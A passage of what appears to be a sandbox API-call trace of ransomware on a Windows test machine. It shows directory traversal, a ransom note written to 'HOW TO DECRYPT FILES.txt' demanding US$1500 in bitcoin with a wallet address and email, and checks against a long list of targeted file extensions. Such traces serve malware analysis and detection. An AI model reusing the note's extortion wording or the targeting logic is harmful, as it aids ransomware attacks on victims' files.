HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9" [0090.957] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9") returned 87 [0090.957] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791e8e0, ftCreationTime.dwHighDateTime=0x1d5e568, ftLastAccessTime.dwLowDateTime=0xa03b0dc0, ftLastAccessTime.dwHighDateTime=0x1d5dd29, ftLastWriteTime.dwLowDateTime=0xa03b0dc0, ftLastWriteTime.dwHighDateTime=0x1d5dd29, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x52d60c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0090.957] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.957] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791e8e0, ftCreationTime.dwHighDateTime=0x1d5e568, ftLastAccessTime.dwLowDateTime=0xa03b0dc0, ftLastAccessTime.dwHighDateTime=0x1d5dd29, ftLastWriteTime.dwLowDateTime=0xa03b0dc0, ftLastWriteTime.dwHighDateTime=0x1d5dd29, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0090.957] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.957] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.957] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa50da20, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x53691f80, ftLastAccessTime.dwHighDateTime=0x1d5dae2, ftLastWriteTime.dwLowDateTime=0x53691f80, ftLastWriteTime.dwHighDateTime=0x1d5dae2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a8RgsPXW5zNagK", cAlternateFileName="A8RGSP~1")) returned 1 [0090.957] lstrcmpA (lpString1=".", lpString2="a8RgsPXW5zNagK") returned -1 [0090.957] lstrcmpA (lpString1="..", lpString2="a8RgsPXW5zNagK") returned -1 [0090.957] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\*.*") returned="*.*" [0090.957] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="a8RgsPXW5zNagK" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK" [0090.958] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK") returned 102 [0090.958] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa50da20, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x53691f80, ftLastAccessTime.dwHighDateTime=0x1d5dae2, ftLastWriteTime.dwLowDateTime=0x53691f80, ftLastWriteTime.dwHighDateTime=0x1d5dae2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c001b, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0090.958] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.958] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa50da20, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x53691f80, ftLastAccessTime.dwHighDateTime=0x1d5dae2, ftLastWriteTime.dwLowDateTime=0x53691f80, ftLastWriteTime.dwHighDateTime=0x1d5dae2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.958] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.958] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.958] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x599242a0, ftCreationTime.dwHighDateTime=0x1d5de5d, ftLastAccessTime.dwLowDateTime=0xeff9b830, ftLastAccessTime.dwHighDateTime=0x1d5e0cf, ftLastWriteTime.dwLowDateTime=0xeff9b830, ftLastWriteTime.dwHighDateTime=0x1d5e0cf, nFileSizeHigh=0x0, nFileSizeLow=0x9c5f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="GXlOJ84-SLMfj37e6tM.gif", cAlternateFileName="GXLOJ8~1.GIF")) returned 1 [0090.958] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0090.958] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GXlOJ84-SLMfj37e6tM.gif") returned -1 [0090.958] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GXlOJ84-SLMfj37e6tM.gif") returned 1 [0090.958] lstrcmpiA (lpString1="", lpString2="GXlOJ84-SLMfj37e6tM.gif") returned -1 [0090.958] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\*.*") returned="*.*" [0090.958] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" [0090.959] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="" [0090.959] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" [0090.959] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\how to decrypt files.txt")) returned 0xffffffff [0090.959] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0090.960] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.960] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.963] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.963] CloseHandle (hObject=0x9c) returned 1 [0090.963] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="GXlOJ84-SLMfj37e6tM.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif" [0090.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.ems") returned 0 [0090.963] lstrlenA (lpString="*.ems") returned 5 [0090.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.db") returned 0 [0090.963] lstrlenA (lpString="*.db") returned 4 [0090.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.dbf") returned 0 [0090.963] lstrlenA (lpString="*.dbf") returned 5 [0090.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.myox") returned 0 [0090.963] lstrlenA (lpString="*.myox") returned 6 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.myo") returned 0 [0090.964] lstrlenA (lpString="*.myo") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qbw") returned 0 [0090.964] lstrlenA (lpString="*.qbw") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qbb") returned 0 [0090.964] lstrlenA (lpString="*.qbb") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qbm") returned 0 [0090.964] lstrlenA (lpString="*.qbm") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qbo") returned 0 [0090.964] lstrlenA (lpString="*.qbo") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qbx") returned 0 [0090.964] lstrlenA (lpString="*.qbx") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qba") returned 0 [0090.964] lstrlenA (lpString="*.qba") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qby") returned 0 [0090.964] lstrlenA (lpString="*.qby") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qbj") returned 0 [0090.964] lstrlenA (lpString="*.qbj") returned 5 [0090.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.ofx") returned 0 [0090.965] lstrlenA (lpString="*.ofx") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.qif") returned 0 [0090.965] lstrlenA (lpString="*.qif") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mye") returned 0 [0090.965] lstrlenA (lpString="*.mye") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mbox") returned 0 [0090.965] lstrlenA (lpString="*.mbox") returned 6 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.eml") returned 0 [0090.965] lstrlenA (lpString="*.eml") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.pst") returned 0 [0090.965] lstrlenA (lpString="*.pst") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.ost") returned 0 [0090.965] lstrlenA (lpString="*.ost") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.idx") returned 0 [0090.965] lstrlenA (lpString="*.idx") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.dbx") returned 0 [0090.965] lstrlenA (lpString="*.dbx") returned 5 [0090.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.sql") returned 0 [0090.965] lstrlenA (lpString="*.sql") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mdb") returned 0 [0090.966] lstrlenA (lpString="*.mdb") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.fdb") returned 0 [0090.966] lstrlenA (lpString="*.fdb") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.wab") returned 0 [0090.966] lstrlenA (lpString="*.wab") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.dat") returned 0 [0090.966] lstrlenA (lpString="*.dat") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.txt") returned 0 [0090.966] lstrlenA (lpString="*.txt") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.jpeg") returned 0 [0090.966] lstrlenA (lpString="*.jpeg") returned 6 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.jpg") returned 0 [0090.966] lstrlenA (lpString="*.jpg") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.png") returned 0 [0090.966] lstrlenA (lpString="*.png") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.php") returned 0 [0090.966] lstrlenA (lpString="*.php") returned 5 [0090.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.cs") returned 0 [0090.967] lstrlenA (lpString="*.cs") returned 4 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.cpp") returned 0 [0090.967] lstrlenA (lpString="*.cpp") returned 5 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.rar") returned 0 [0090.967] lstrlenA (lpString="*.rar") returned 5 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.zip") returned 0 [0090.967] lstrlenA (lpString="*.zip") returned 5 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.html") returned 0 [0090.967] lstrlenA (lpString="*.html") returned 6 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.htm") returned 0 [0090.967] lstrlenA (lpString="*.htm") returned 5 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.xlsx") returned 0 [0090.967] lstrlenA (lpString="*.xlsx") returned 6 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.xls") returned 0 [0090.967] lstrlenA (lpString="*.xls") returned 5 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mp4") returned 0 [0090.967] lstrlenA (lpString="*.mp4") returned 5 [0090.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.ppt") returned 0 [0090.967] lstrlenA (lpString="*.ppt") returned 5 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.pptx") returned 0 [0090.968] lstrlenA (lpString="*.pptx") returned 6 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.doc") returned 0 [0090.968] lstrlenA (lpString="*.doc") returned 5 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.dot") returned 0 [0090.968] lstrlenA (lpString="*.dot") returned 5 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.docx") returned 0 [0090.968] lstrlenA (lpString="*.docx") returned 6 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.7z") returned 0 [0090.968] lstrlenA (lpString="*.7z") returned 4 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.tar") returned 0 [0090.968] lstrlenA (lpString="*.tar") returned 5 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 